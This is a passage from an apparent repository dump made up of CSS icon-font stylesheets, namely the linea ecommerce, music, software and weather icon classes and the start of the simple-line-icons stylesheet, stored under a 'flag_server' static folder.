\"Y\";\n}\n.icon-ecommerce-money:before {\n  content: \"Z\";\n}\n.icon-ecommerce-naira:before {\n  content: \"0\";\n}\n.icon-ecommerce-pesos:before {\n  content: \"1\";\n}\n.icon-ecommerce-pound:before {\n  content: \"2\";\n}\n.icon-ecommerce-receipt:before {\n  content: \"3\";\n}\n.icon-ecommerce-receipt-bath:before {\n  content: \"4\";\n}\n.icon-ecommerce-receipt-cent:before {\n  content: \"5\";\n}\n.icon-ecommerce-receipt-dollar:before {\n  content: \"6\";\n}\n.icon-ecommerce-receipt-euro:before {\n  content: \"7\";\n}\n.icon-ecommerce-receipt-franc:before {\n  content: \"8\";\n}\n.icon-ecommerce-receipt-guarani:before {\n  content: \"9\";\n}\n.icon-ecommerce-receipt-kips:before {\n  content: \"!\";\n}\n.icon-ecommerce-receipt-lira:before {\n  content: \"\\\"\";\n}\n.icon-ecommerce-receipt-naira:before {\n  content: \"#\";\n}\n.icon-ecommerce-receipt-pesos:before {\n  content: \"$\";\n}\n.icon-ecommerce-receipt-pound:before {\n  content: \"%\";\n}\n.icon-ecommerce-receipt-rublo:before {\n  content: \"&\";\n}\n.icon-ecommerce-receipt-rupee:before {\n  content: \"'\";\n}\n.icon-ecommerce-receipt-tugrik:before {\n  content: \"(\";\n}\n.icon-ecommerce-receipt-won:before {\n  content: \")\";\n}\n.icon-ecommerce-receipt-yen:before {\n  content: \"*\";\n}\n.icon-ecommerce-receipt-yen2:before {\n  content: \"+\";\n}\n.icon-ecommerce-recept-colon:before {\n  content: \",\";\n}\n.icon-ecommerce-rublo:before {\n  content: \"-\";\n}\n.icon-ecommerce-rupee:before {\n  content: \".\";\n}\n.icon-ecommerce-safe:before {\n  content: \"/\";\n}\n.icon-ecommerce-sale:before {\n  content: \":\";\n}\n.icon-ecommerce-sales:before {\n  content: \";\";\n}\n.icon-ecommerce-ticket:before {\n  content: \"<\";\n}\n.icon-ecommerce-tugriks:before {\n  content: \"=\";\n}\n.icon-ecommerce-wallet:before {\n  content: \">\";\n}\n.icon-ecommerce-won:before {\n  content: \"?\";\n}\n.icon-ecommerce-yen:before {\n  content: \"@\";\n}\n.icon-ecommerce-yen2:before {\n  content: \"[\";\n}\n@font-face {\n  font-family: \"linea-music-10\";\n  src: url(\"fonts/linea-music-10.eot\");\n  src: url(\"fonts/linea-music-10d41d.eot?#iefix\") format(\"embedded-opentype\"), url(\"fonts/linea-music-10.woff\") format(\"woff\"), url(\"fonts/linea-music-10.ttf\") format(\"truetype\"), url(\"fonts/linea-music-10.svg#linea-music-10\") format(\"svg\");\n  font-weight: normal;\n  font-style: normal;\n}\n.linea-music[data-icon]:before {\n  font-family: \"linea-music-10\" !important;\n  content: attr(data-icon);\n  font-style: normal !important;\n  font-weight: normal !important;\n  font-variant: normal !important;\n  text-transform: none !important;\n  speak: none;\n  line-height: 1;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n[class^=\"linea-icon-\"]:before,\n[class*=\"linea- icon-\"]:before {\n  font-family: \"linea-music-10\" !important;\n  font-style: normal !important;\n  font-weight: normal !important;\n  font-variant: normal !important;\n  text-transform: none !important;\n  speak: none;\n  line-height: 1;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n.icon-music-beginning-button:before {\n  content: \"a\";\n}\n.icon-music-bell:before {\n  content: \"b\";\n}\n.icon-music-cd:before {\n  content: \"c\";\n}\n.icon-music-diapason:before {\n  content: \"d\";\n}\n.icon-music-eject-button:before {\n  content: \"e\";\n}\n.icon-music-end-button:before {\n  content: \"f\";\n}\n.icon-music-fastforward-button:before {\n  content: \"g\";\n}\n.icon-music-headphones:before {\n  content: \"h\";\n}\n.icon-music-ipod:before {\n  content: \"i\";\n}\n.icon-music-loudspeaker:before {\n  content: \"j\";\n}\n.icon-music-microphone:before {\n  content: \"k\";\n}\n.icon-music-microphone-old:before {\n  content: \"l\";\n}\n.icon-music-mixer:before {\n  content: \"m\";\n}\n.icon-music-mute:before {\n  content: \"n\";\n}\n.icon-music-note-multiple:before {\n  content: \"o\";\n}\n.icon-music-note-single:before {\n  content: \"p\";\n}\n.icon-music-pause-button:before {\n  content: \"q\";\n}\n.icon-music-play-button:before {\n  content: \"r\";\n}\n.icon-music-playlist:before {\n  content: \"s\";\n}\n.icon-music-radio-ghettoblaster:before {\n  content: \"t\";\n}\n.icon-music-radio-portable:before {\n  content: \"u\";\n}\n.icon-music-record:before {\n  content: \"v\";\n}\n.icon-music-recordplayer:before {\n  content: \"w\";\n}\n.icon-music-repeat-button:before {\n  content: \"x\";\n}\n.icon-music-rewind-button:before {\n  content: \"y\";\n}\n.icon-music-shuffle-button:before {\n  content: \"z\";\n}\n.icon-music-stop-button:before {\n  content: \"A\";\n}\n.icon-music-tape:before {\n  content: \"B\";\n}\n.icon-music-volume-down:before {\n  content: \"C\";\n}\n.icon-music-volume-up:before {\n  content: \"D\";\n}\n@font-face {\n  font-family: \"linea-software-10\";\n  src: url(\"fonts/linea-software-10.eot\");\n  src: url(\"fonts/linea-software-10d41d.eot?#iefix\") format(\"embedded-opentype\"), url(\"fonts/linea-software-10.woff\") format(\"woff\"), url(\"fonts/linea-software-10.ttf\") format(\"truetype\"), url(\"fonts/linea-software-10.svg#linea-software-10\") format(\"svg\");\n  font-weight: normal;\n  font-style: normal;\n}\n.linea-software[data-icon]:before {\n  font-family: \"linea-software-10\" !important;\n  content: attr(data-icon);\n  font-style: normal !important;\n  font-weight: normal !important;\n  font-variant: normal !important;\n  text-transform: none !important;\n  speak: none;\n  line-height: 1;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n[class^=\"linea-icon-\"]:before,\n[class*=\"linea- icon-\"]:before {\n  font-family: \"linea-software-10\" !important;\n  font-style: normal !important;\n  font-weight: normal !important;\n  font-variant: normal !important;\n  text-transform: none !important;\n  speak: none;\n  line-height: 1;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n.icon-software-add-vectorpoint:before {\n  content: \"a\";\n}\n.icon-software-box-oval:before {\n  content: \"b\";\n}\n.icon-software-box-polygon:before {\n  content: \"c\";\n}\n.icon-software-box-rectangle:before {\n  content: \"d\";\n}\n.icon-software-box-roundedrectangle:before {\n  content: \"e\";\n}\n.icon-software-character:before {\n  content: \"f\";\n}\n.icon-software-crop:before {\n  content: \"g\";\n}\n.icon-software-eyedropper:before {\n  content: \"h\";\n}\n.icon-software-font-allcaps:before {\n  content: \"i\";\n}\n.icon-software-font-baseline-shift:before {\n  content: \"j\";\n}\n.icon-software-font-horizontal-scale:before {\n  content: \"k\";\n}\n.icon-software-font-kerning:before {\n  content: \"l\";\n}\n.icon-software-font-leading:before {\n  content: \"m\";\n}\n.icon-software-font-size:before {\n  content: \"n\";\n}\n.icon-software-font-smallcapital:before {\n  content: \"o\";\n}\n.icon-software-font-smallcaps:before {\n  content: \"p\";\n}\n.icon-software-font-strikethrough:before {\n  content: \"q\";\n}\n.icon-software-font-tracking:before {\n  content: \"r\";\n}\n.icon-software-font-underline:before {\n  content: \"s\";\n}\n.icon-software-font-vertical-scale:before {\n  content: \"t\";\n}\n.icon-software-horizontal-align-center:before {\n  content: \"u\";\n}\n.icon-software-horizontal-align-left:before {\n  content: \"v\";\n}\n.icon-software-horizontal-align-right:before {\n  content: \"w\";\n}\n.icon-software-horizontal-distribute-center:before {\n  content: \"x\";\n}\n.icon-software-horizontal-distribute-left:before {\n  content: \"y\";\n}\n.icon-software-horizontal-distribute-right:before {\n  content: \"z\";\n}\n.icon-software-indent-firstline:before {\n  content: \"A\";\n}\n.icon-software-indent-left:before {\n  content: \"B\";\n}\n.icon-software-indent-right:before {\n  content: \"C\";\n}\n.icon-software-lasso:before {\n  content: \"D\";\n}\n.icon-software-layers1:before {\n  content: \"E\";\n}\n.icon-software-layers2:before {\n  content: \"F\";\n}\n.icon-software-layout:before {\n  content: \"G\";\n}\n.icon-software-layout-2columns:before {\n  content: \"H\";\n}\n.icon-software-layout-3columns:before {\n  content: \"I\";\n}\n.icon-software-layout-4boxes:before {\n  content: \"J\";\n}\n.icon-software-layout-4columns:before {\n  content: \"K\";\n}\n.icon-software-layout-4lines:before {\n  content: \"L\";\n}\n.icon-software-layout-8boxes:before {\n  content: \"M\";\n}\n.icon-software-layout-header:before {\n  content: \"N\";\n}\n.icon-software-layout-header-2columns:before {\n  content: \"O\";\n}\n.icon-software-layout-header-3columns:before {\n  content: \"P\";\n}\n.icon-software-layout-header-4boxes:before {\n  content: \"Q\";\n}\n.icon-software-layout-header-4columns:before {\n  content: \"R\";\n}\n.icon-software-layout-header-complex:before {\n  content: \"S\";\n}\n.icon-software-layout-header-complex2:before {\n  content: \"T\";\n}\n.icon-software-layout-header-complex3:before {\n  content: \"U\";\n}\n.icon-software-layout-header-complex4:before {\n  content: \"V\";\n}\n.icon-software-layout-header-sideleft:before {\n  content: \"W\";\n}\n.icon-software-layout-header-sideright:before {\n  content: \"X\";\n}\n.icon-software-layout-sidebar-left:before {\n  content: \"Y\";\n}\n.icon-software-layout-sidebar-right:before {\n  content: \"Z\";\n}\n.icon-software-magnete:before {\n  content: \"0\";\n}\n.icon-software-pages:before {\n  content: \"1\";\n}\n.icon-software-paintbrush:before {\n  content: \"2\";\n}\n.icon-software-paintbucket:before {\n  content: \"3\";\n}\n.icon-software-paintroller:before {\n  content: \"4\";\n}\n.icon-software-paragraph:before {\n  content: \"5\";\n}\n.icon-software-paragraph-align-left:before {\n  content: \"6\";\n}\n.icon-software-paragraph-align-right:before {\n  content: \"7\";\n}\n.icon-software-paragraph-center:before {\n  content: \"8\";\n}\n.icon-software-paragraph-justify-all:before {\n  content: \"9\";\n}\n.icon-software-paragraph-justify-center:before {\n  content: \"!\";\n}\n.icon-software-paragraph-justify-left:before {\n  content: \"\\\"\";\n}\n.icon-software-paragraph-justify-right:before {\n  content: \"#\";\n}\n.icon-software-paragraph-space-after:before {\n  content: \"$\";\n}\n.icon-software-paragraph-space-before:before {\n  content: \"%\";\n}\n.icon-software-pathfinder-exclude:before {\n  content: \"&\";\n}\n.icon-software-pathfinder-intersect:before {\n  content: \"'\";\n}\n.icon-software-pathfinder-subtract:before {\n  content: \"(\";\n}\n.icon-software-pathfinder-unite:before {\n  content: \")\";\n}\n.icon-software-pen:before {\n  content: \"*\";\n}\n.icon-software-pen-add:before {\n  content: \"+\";\n}\n.icon-software-pen-remove:before {\n  content: \",\";\n}\n.icon-software-pencil:before {\n  content: \"-\";\n}\n.icon-software-polygonallasso:before {\n  content: \".\";\n}\n.icon-software-reflect-horizontal:before {\n  content: \"/\";\n}\n.icon-software-reflect-vertical:before {\n  content: \":\";\n}\n.icon-software-remove-vectorpoint:before {\n  content: \";\";\n}\n.icon-software-scale-expand:before {\n  content: \"<\";\n}\n.icon-software-scale-reduce:before {\n  content: \"=\";\n}\n.icon-software-selection-oval:before {\n  content: \">\";\n}\n.icon-software-selection-polygon:before {\n  content: \"?\";\n}\n.icon-software-selection-rectangle:before {\n  content: \"@\";\n}\n.icon-software-selection-roundedrectangle:before {\n  content: \"[\";\n}\n.icon-software-shape-oval:before {\n  content: \"]\";\n}\n.icon-software-shape-polygon:before {\n  content: \"^\";\n}\n.icon-software-shape-rectangle:before {\n  content: \"_\";\n}\n.icon-software-shape-roundedrectangle:before {\n  content: \"`\";\n}\n.icon-software-slice:before {\n  content: \"{\";\n}\n.icon-software-transform-bezier:before {\n  content: \"|\";\n}\n.icon-software-vector-box:before {\n  content: \"}\";\n}\n.icon-software-vector-composite:before {\n  content: \"~\";\n}\n.icon-software-vector-line:before {\n  content: \"\";\n}\n.icon-software-vertical-align-bottom:before {\n  content: \"\\e000\";\n}\n.icon-software-vertical-align-center:before {\n  content: \"\\e001\";\n}\n.icon-software-vertical-align-top:before {\n  content: \"\\e002\";\n}\n.icon-software-vertical-distribute-bottom:before {\n  content: \"\\e003\";\n}\n.icon-software-vertical-distribute-center:before {\n  content: \"\\e004\";\n}\n.icon-software-vertical-distribute-top:before {\n  content: \"\\e005\";\n}\n@font-face {\n  font-family: \"linea-weather-10\";\n  src: url(\"fonts/linea-weather-10.eot\");\n  src: url(\"fonts/linea-weather-10d41d.eot?#iefix\") format(\"embedded-opentype\"), url(\"fonts/linea-weather-10.woff\") format(\"woff\"), url(\"fonts/linea-weather-10.ttf\") format(\"truetype\"), url(\"fonts/linea-weather-10.svg#linea-weather-10\") format(\"svg\");\n  font-weight: normal;\n  font-style: normal;\n}\n.linea-weather[data-icon]:before {\n  font-family: \"linea-weather-10\" !important;\n  content: attr(data-icon);\n  font-style: normal !important;\n  font-weight: normal !important;\n  font-variant: normal !important;\n  text-transform: none !important;\n  speak: none;\n  line-height: 1;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n[class^=\"linea-icon-\"]:before,\n[class*=\"linea- icon-\"]:before {\n  font-family: \"linea-weather-10\" !important;\n  font-style: normal !important;\n  font-weight: normal !important;\n  font-variant: normal !important;\n  text-transform: none !important;\n  speak: none;\n  line-height: 1;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n.icon-weather-aquarius:before {\n  content: \"\\e000\";\n}\n.icon-weather-aries:before {\n  content: \"\\e001\";\n}\n.icon-weather-cancer:before {\n  content: \"\\e002\";\n}\n.icon-weather-capricorn:before {\n  content: \"\\e003\";\n}\n.icon-weather-cloud:before {\n  content: \"\\e004\";\n}\n.icon-weather-cloud-drop:before {\n  content: \"\\e005\";\n}\n.icon-weather-cloud-lightning:before {\n  content: \"\\e006\";\n}\n.icon-weather-cloud-snowflake:before {\n  content: \"\\e007\";\n}\n.icon-weather-downpour-fullmoon:before {\n  content: \"\\e008\";\n}\n.icon-weather-downpour-halfmoon:before {\n  content: \"\\e009\";\n}\n.icon-weather-downpour-sun:before {\n  content: \"\\e00a\";\n}\n.icon-weather-drop:before {\n  content: \"\\e00b\";\n}\n.icon-weather-first-quarter:before {\n  content: \"\\e00c\";\n}\n.icon-weather-fog:before {\n  content: \"\\e00d\";\n}\n.icon-weather-fog-fullmoon:before {\n  content: \"\\e00e\";\n}\n.icon-weather-fog-halfmoon:before {\n  content: \"\\e00f\";\n}\n.icon-weather-fog-sun:before {\n  content: \"\\e010\";\n}\n.icon-weather-fullmoon:before {\n  content: \"\\e011\";\n}\n.icon-weather-gemini:before {\n  content: \"\\e012\";\n}\n.icon-weather-hail:before {\n  content: \"\\e013\";\n}\n.icon-weather-hail-fullmoon:before {\n  content: \"\\e014\";\n}\n.icon-weather-hail-halfmoon:before {\n  content: \"\\e015\";\n}\n.icon-weather-hail-sun:before {\n  content: \"\\e016\";\n}\n.icon-weather-last-quarter:before {\n  content: \"\\e017\";\n}\n.icon-weather-leo:before {\n  content: \"\\e018\";\n}\n.icon-weather-libra:before {\n  content: \"\\e019\";\n}\n.icon-weather-lightning:before {\n  content: \"\\e01a\";\n}\n.icon-weather-mistyrain:before {\n  content: \"\\e01b\";\n}\n.icon-weather-mistyrain-fullmoon:before {\n  content: \"\\e01c\";\n}\n.icon-weather-mistyrain-halfmoon:before {\n  content: \"\\e01d\";\n}\n.icon-weather-mistyrain-sun:before {\n  content: \"\\e01e\";\n}\n.icon-weather-moon:before {\n  content: \"\\e01f\";\n}\n.icon-weather-moondown-full:before {\n  content: \"\\e020\";\n}\n.icon-weather-moondown-half:before {\n  content: \"\\e021\";\n}\n.icon-weather-moonset-full:before {\n  content: \"\\e022\";\n}\n.icon-weather-moonset-half:before {\n  content: \"\\e023\";\n}\n.icon-weather-move2:before {\n  content: \"\\e024\";\n}\n.icon-weather-newmoon:before {\n  content: \"\\e025\";\n}\n.icon-weather-pisces:before {\n  content: \"\\e026\";\n}\n.icon-weather-rain:before {\n  content: \"\\e027\";\n}\n.icon-weather-rain-fullmoon:before {\n  content: \"\\e028\";\n}\n.icon-weather-rain-halfmoon:before {\n  content: \"\\e029\";\n}\n.icon-weather-rain-sun:before {\n  content: \"\\e02a\";\n}\n.icon-weather-sagittarius:before {\n  content: \"\\e02b\";\n}\n.icon-weather-scorpio:before {\n  content: \"\\e02c\";\n}\n.icon-weather-snow:before {\n  content: \"\\e02d\";\n}\n.icon-weather-snow-fullmoon:before {\n  content: \"\\e02e\";\n}\n.icon-weather-snow-halfmoon:before {\n  content: \"\\e02f\";\n}\n.icon-weather-snow-sun:before {\n  content: \"\\e030\";\n}\n.icon-weather-snowflake:before {\n  content: \"\\e031\";\n}\n.icon-weather-star:before {\n  content: \"\\e032\";\n}\n.icon-weather-storm-11:before {\n  content: \"\\e033\";\n}\n.icon-weather-storm-32:before {\n  content: \"\\e034\";\n}\n.icon-weather-storm-fullmoon:before {\n  content: \"\\e035\";\n}\n.icon-weather-storm-halfmoon:before {\n  content: \"\\e036\";\n}\n.icon-weather-storm-sun:before {\n  content: \"\\e037\";\n}\n.icon-weather-sun:before {\n  content: \"\\e038\";\n}\n.icon-weather-sundown:before {\n  content: \"\\e039\";\n}\n.icon-weather-sunset:before {\n  content: \"\\e03a\";\n}\n.icon-weather-taurus:before {\n  content: \"\\e03b\";\n}\n.icon-weather-tempest:before {\n  content: \"\\e03c\";\n}\n.icon-weather-tempest-fullmoon:before {\n  content: \"\\e03d\";\n}\n.icon-weather-tempest-halfmoon:before {\n  content: \"\\e03e\";\n}\n.icon-weather-tempest-sun:before {\n  content: \"\\e03f\";\n}\n.icon-weather-variable-fullmoon:before {\n  content: \"\\e040\";\n}\n.icon-weather-variable-halfmoon:before {\n  content: \"\\e041\";\n}\n.icon-weather-variable-sun:before {\n  content: \"\\e042\";\n}\n.icon-weather-virgo:before {\n  content: \"\\e043\";\n}\n.icon-weather-waning-cresent:before {\n  content: \"\\e044\";\n}\n.icon-weather-waning-gibbous:before {\n  content: \"\\e045\";\n}\n.icon-weather-waxing-cresent:before {\n  content: \"\\e046\";\n}\n.icon-weather-waxing-gibbous:before {\n  content: \"\\e047\";\n}\n.icon-weather-wind:before {\n  content: \"\\e048\";\n}\n.icon-weather-wind-e:before {\n  content: \"\\e049\";\n}\n.icon-weather-wind-fullmoon:before {\n  content: \"\\e04a\";\n}\n.icon-weather-wind-halfmoon:before {\n  content: \"\\e04b\";\n}\n.icon-weather-wind-n:before {\n  content: \"\\e04c\";\n}\n.icon-weather-wind-ne:before {\n  content: \"\\e04d\";\n}\n.icon-weather-wind-nw:before {\n  content: \"\\e04e\";\n}\n.icon-weather-wind-s:before {\n  content: \"\\e04f\";\n}\n.icon-weather-wind-se:before {\n  content: \"\\e050\";\n}\n.icon-weather-wind-sun:before {\n  content: \"\\e051\";\n}\n.icon-weather-wind-sw:before {\n  content: \"\\e052\";\n}\n.icon-weather-wind-w:before {\n  content: \"\\e053\";\n}\n.icon-weather-windgust:before {\n  content: \"\\e054\";\n}"
  },
  {
    "path": "flag_server/webapps/static/icons/simple-line-icons/css/simple-line-icons.css",
    "content": "@font-face {\n  font-family: 'simple-line-icons';\n  src: url('../fonts/Simple-Line-Icons4c82.eot?-i3a2kk');\n  src: url('../fonts/Simple-Line-Iconsd41d.eot?#iefix-i3a2kk') format('embedded-opentype'), url('../fonts/Simple-Line-Icons4c82.ttf?-i3a2kk') format('truetype'), url('../fonts/Simple-Line-Icons4c82.woff2?-i3a2kk') format('woff2'), url('../fonts/Simple-Line-Icons4c82.woff?-i3a2kk') format('woff'), url('../fonts/Simple-Line-Icons4c82.svg?-i3a2kk#simple-line-icons') format('svg');\n  font-weight: normal;\n  font-style: normal;\n}\n/*\n Use the following CSS code if you want to have a class per icon.\n Instead of a list of all class selectors, you can use the generic [class*=\"icon-\"] selector, but it's slower: \n*/\n.icon-user,\n.icon-people,\n.icon-user-female,\n.icon-user-follow,\n.icon-user-following,\n.icon-user-unfollow,\n.icon-login,\n.icon-logout,\n.icon-emotsmile,\n.icon-phone,\n.icon-call-end,\n.icon-call-in,\n.icon-call-out,\n.icon-map,\n.icon-location-pin,\n.icon-direction,\n.icon-directions,\n.icon-compass,\n.icon-layers,\n.icon-menu,\n.icon-list,\n.icon-options-vertical,\n.icon-options,\n.icon-arrow-down,\n.icon-arrow-left,\n.icon-arrow-right,\n.icon-arrow-up,\n.icon-arrow-up-circle,\n.icon-arrow-left-circle,\n.icon-arrow-right-circle,\n.icon-arrow-down-circle,\n.icon-check,\n.icon-clock,\n.icon-plus,\n.icon-close,\n.icon-trophy,\n.icon-screen-smartphone,\n.icon-screen-desktop,\n.icon-plane,\n.icon-notebook,\n.icon-mustache,\n.icon-mouse,\n.icon-magnet,\n.icon-energy,\n.icon-disc,\n.icon-cursor,\n.icon-cursor-move,\n.icon-crop,\n.icon-chemistry,\n.icon-speedometer,\n.icon-shield,\n.icon-screen-tablet,\n.icon-magic-wand,\n.icon-hourglass,\n.icon-graduation,\n.icon-ghost,\n.icon-game-controller,\n.icon-fire,\n.icon-eyeglass,\n.icon-envelope-open,\n.icon-envelope-letter,\n.icon-bell,\n.icon-badge,\n.icon-anchor,\n.icon-wallet,\n.icon-vector,\n.icon-speech,\n.icon-puzzle,\n.icon-printer,\n.icon-present,\n.icon-playlist,\n.icon-pin,\n.icon-picture,\n.icon-handbag,\n.icon-globe-alt,\n.icon-globe,\n.icon-folder-alt,\n.icon-folder,\n.icon-film,\n.icon-feed,\n.icon-drop,\n.icon-drawar,\n.icon-docs,\n.icon-doc,\n.icon-diamond,\n.icon-cup,\n.icon-calculator,\n.icon-bubbles,\n.icon-briefcase,\n.icon-book-open,\n.icon-basket-loaded,\n.icon-basket,\n.icon-bag,\n.icon-action-undo,\n.icon-action-redo,\n.icon-wrench,\n.icon-umbrella,\n.icon-trash,\n.icon-tag,\n.icon-support,\n.icon-frame,\n.icon-size-fullscreen,\n.icon-size-actual,\n.icon-shuffle,\n.icon-share-alt,\n.icon-share,\n.icon-rocket,\n.icon-question,\n.icon-pie-chart,\n.icon-pencil,\n.icon-note,\n.icon-loop,\n.icon-home,\n.icon-grid,\n.icon-graph,\n.icon-microphone,\n.icon-music-tone-alt,\n.icon-music-tone,\n.icon-earphones-alt,\n.icon-earphones,\n.icon-equalizer,\n.icon-like,\n.icon-dislike,\n.icon-control-start,\n.icon-control-rewind,\n.icon-control-play,\n.icon-control-pause,\n.icon-control-forward,\n.icon-control-end,\n.icon-volume-1,\n.icon-volume-2,\n.icon-volume-off,\n.icon-calender,\n.icon-bulb,\n.icon-chart,\n.icon-ban,\n.icon-bubble,\n.icon-camrecorder,\n.icon-camera,\n.icon-cloud-download,\n.icon-cloud-upload,\n.icon-envelope,\n.icon-eye,\n.icon-flag,\n.icon-heart,\n.icon-info,\n.icon-key,\n.icon-link,\n.icon-lock,\n.icon-lock-open,\n.icon-magnifier,\n.icon-magnifier-add,\n.icon-magnifier-remove,\n.icon-paper-clip,\n.icon-paper-plane,\n.icon-power,\n.icon-refresh,\n.icon-reload,\n.icon-settings,\n.icon-star,\n.icon-symble-female,\n.icon-symbol-male,\n.icon-target,\n.icon-credit-card,\n.icon-paypal,\n.icon-social-tumblr,\n.icon-social-twitter,\n.icon-social-facebook,\n.icon-social-instagram,\n.icon-social-linkedin,\n.icon-social-pintarest,\n.icon-social-github,\n.icon-social-gplus,\n.icon-social-reddit,\n.icon-social-skype,\n.icon-social-dribbble,\n.icon-social-behance,\n.icon-social-foursqare,\n.icon-social-soundcloud,\n.icon-social-spotify,\n.icon-social-stumbleupon,\n.icon-social-youtube,\n.icon-social-dropbox {\n  font-family: 'simple-line-icons';\n  speak: none;\n  font-style: normal;\n  font-weight: normal;\n  font-variant: normal;\n  text-transform: none;\n  line-height: 1;\n  /* Better Font Rendering =========== */\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n.icon-user:before {\n  content: \"\\e005\";\n}\n.icon-people:before {\n  content: \"\\e001\";\n}\n.icon-user-female:before {\n  content: \"\\e000\";\n}\n.icon-user-follow:before {\n  content: \"\\e002\";\n}\n.icon-user-following:before {\n  content: \"\\e003\";\n}\n.icon-user-unfollow:before {\n  content: \"\\e004\";\n}\n.icon-login:before {\n  content: \"\\e066\";\n}\n.icon-logout:before {\n  content: \"\\e065\";\n}\n.icon-emotsmile:before {\n  content: \"\\e021\";\n}\n.icon-phone:before {\n  content: \"\\e600\";\n}\n.icon-call-end:before {\n  content: \"\\e048\";\n}\n.icon-call-in:before {\n  content: \"\\e047\";\n}\n.icon-call-out:before {\n  content: \"\\e046\";\n}\n.icon-map:before {\n  content: \"\\e033\";\n}\n.icon-location-pin:before {\n  content: \"\\e096\";\n}\n.icon-direction:before {\n  content: \"\\e042\";\n}\n.icon-directions:before {\n  content: \"\\e041\";\n}\n.icon-compass:before {\n  content: \"\\e045\";\n}\n.icon-layers:before {\n  content: \"\\e034\";\n}\n.icon-menu:before {\n  content: \"\\e601\";\n}\n.icon-list:before {\n  content: \"\\e067\";\n}\n.icon-options-vertical:before {\n  content: \"\\e602\";\n}\n.icon-options:before {\n  content: \"\\e603\";\n}\n.icon-arrow-down:before {\n  content: \"\\e604\";\n}\n.icon-arrow-left:before {\n  content: \"\\e605\";\n}\n.icon-arrow-right:before {\n  content: \"\\e606\";\n}\n.icon-arrow-up:before {\n  content: \"\\e607\";\n}\n.icon-arrow-up-circle:before {\n  content: \"\\e078\";\n}\n.icon-arrow-left-circle:before {\n  content: \"\\e07a\";\n}\n.icon-arrow-right-circle:before {\n  content: \"\\e079\";\n}\n.icon-arrow-down-circle:before {\n  content: \"\\e07b\";\n}\n.icon-check:before {\n  content: \"\\e080\";\n}\n.icon-clock:before {\n  content: \"\\e081\";\n}\n.icon-plus:before {\n  content: \"\\e095\";\n}\n.icon-close:before {\n  content: \"\\e082\";\n}\n.icon-trophy:before {\n  content: \"\\e006\";\n}\n.icon-screen-smartphone:before {\n  content: \"\\e010\";\n}\n.icon-screen-desktop:before {\n  content: \"\\e011\";\n}\n.icon-plane:before {\n  content: \"\\e012\";\n}\n.icon-notebook:before {\n  content: \"\\e013\";\n}\n.icon-mustache:before {\n  content: \"\\e014\";\n}\n.icon-mouse:before {\n  content: \"\\e015\";\n}\n.icon-magnet:before {\n  content: \"\\e016\";\n}\n.icon-energy:before {\n  content: \"\\e020\";\n}\n.icon-disc:before {\n  content: \"\\e022\";\n}\n.icon-cursor:before {\n  content: \"\\e06e\";\n}\n.icon-cursor-move:before {\n  content: \"\\e023\";\n}\n.icon-crop:before {\n  content: \"\\e024\";\n}\n.icon-chemistry:before {\n  content: \"\\e026\";\n}\n.icon-speedometer:before {\n  content: \"\\e007\";\n}\n.icon-shield:before {\n  content: \"\\e00e\";\n}\n.icon-screen-tablet:before {\n  content: \"\\e00f\";\n}\n.icon-magic-wand:before {\n  content: \"\\e017\";\n}\n.icon-hourglass:before {\n  content: \"\\e018\";\n}\n.icon-graduation:before {\n  content: \"\\e019\";\n}\n.icon-ghost:before {\n  content: \"\\e01a\";\n}\n.icon-game-controller:before {\n  content: \"\\e01b\";\n}\n.icon-fire:before {\n  content: \"\\e01c\";\n}\n.icon-eyeglass:before {\n  content: \"\\e01d\";\n}\n.icon-envelope-open:before {\n  content: \"\\e01e\";\n}\n.icon-envelope-letter:before {\n  content: \"\\e01f\";\n}\n.icon-bell:before {\n  content: \"\\e027\";\n}\n.icon-badge:before {\n  content: \"\\e028\";\n}\n.icon-anchor:before {\n  content: \"\\e029\";\n}\n.icon-wallet:before {\n  content: \"\\e02a\";\n}\n.icon-vector:before {\n  content: \"\\e02b\";\n}\n.icon-speech:before {\n  content: \"\\e02c\";\n}\n.icon-puzzle:before {\n  content: \"\\e02d\";\n}\n.icon-printer:before {\n  content: \"\\e02e\";\n}\n.icon-present:before {\n  content: \"\\e02f\";\n}\n.icon-playlist:before {\n  content: \"\\e030\";\n}\n.icon-pin:before {\n  content: \"\\e031\";\n}\n.icon-picture:before {\n  content: \"\\e032\";\n}\n.icon-handbag:before {\n  content: \"\\e035\";\n}\n.icon-globe-alt:before {\n  content: \"\\e036\";\n}\n.icon-globe:before {\n  content: \"\\e037\";\n}\n.icon-folder-alt:before {\n  content: \"\\e039\";\n}\n.icon-folder:before {\n  content: \"\\e089\";\n}\n.icon-film:before {\n  content: \"\\e03a\";\n}\n.icon-feed:before {\n  content: \"\\e03b\";\n}\n.icon-drop:before {\n  content: \"\\e03e\";\n}\n.icon-drawar:before {\n  content: \"\\e03f\";\n}\n.icon-docs:before {\n  content: \"\\e040\";\n}\n.icon-doc:before {\n  content: \"\\e085\";\n}\n.icon-diamond:before {\n  content: \"\\e043\";\n}\n.icon-cup:before {\n  content: \"\\e044\";\n}\n.icon-calculator:before {\n  content: \"\\e049\";\n}\n.icon-bubbles:before {\n  content: \"\\e04a\";\n}\n.icon-briefcase:before {\n  content: \"\\e04b\";\n}\n.icon-book-open:before {\n  content: \"\\e04c\";\n}\n.icon-basket-loaded:before {\n  content: \"\\e04d\";\n}\n.icon-basket:before {\n  content: \"\\e04e\";\n}\n.icon-bag:before {\n  content: \"\\e04f\";\n}\n.icon-action-undo:before {\n  content: \"\\e050\";\n}\n.icon-action-redo:before {\n  content: \"\\e051\";\n}\n.icon-wrench:before {\n  content: \"\\e052\";\n}\n.icon-umbrella:before {\n  content: \"\\e053\";\n}\n.icon-trash:before {\n  content: \"\\e054\";\n}\n.icon-tag:before {\n  content: \"\\e055\";\n}\n.icon-support:before {\n  content: \"\\e056\";\n}\n.icon-frame:before {\n  content: \"\\e038\";\n}\n.icon-size-fullscreen:before {\n  content: \"\\e057\";\n}\n.icon-size-actual:before {\n  content: \"\\e058\";\n}\n.icon-shuffle:before {\n  content: \"\\e059\";\n}\n.icon-share-alt:before {\n  content: \"\\e05a\";\n}\n.icon-share:before {\n  content: 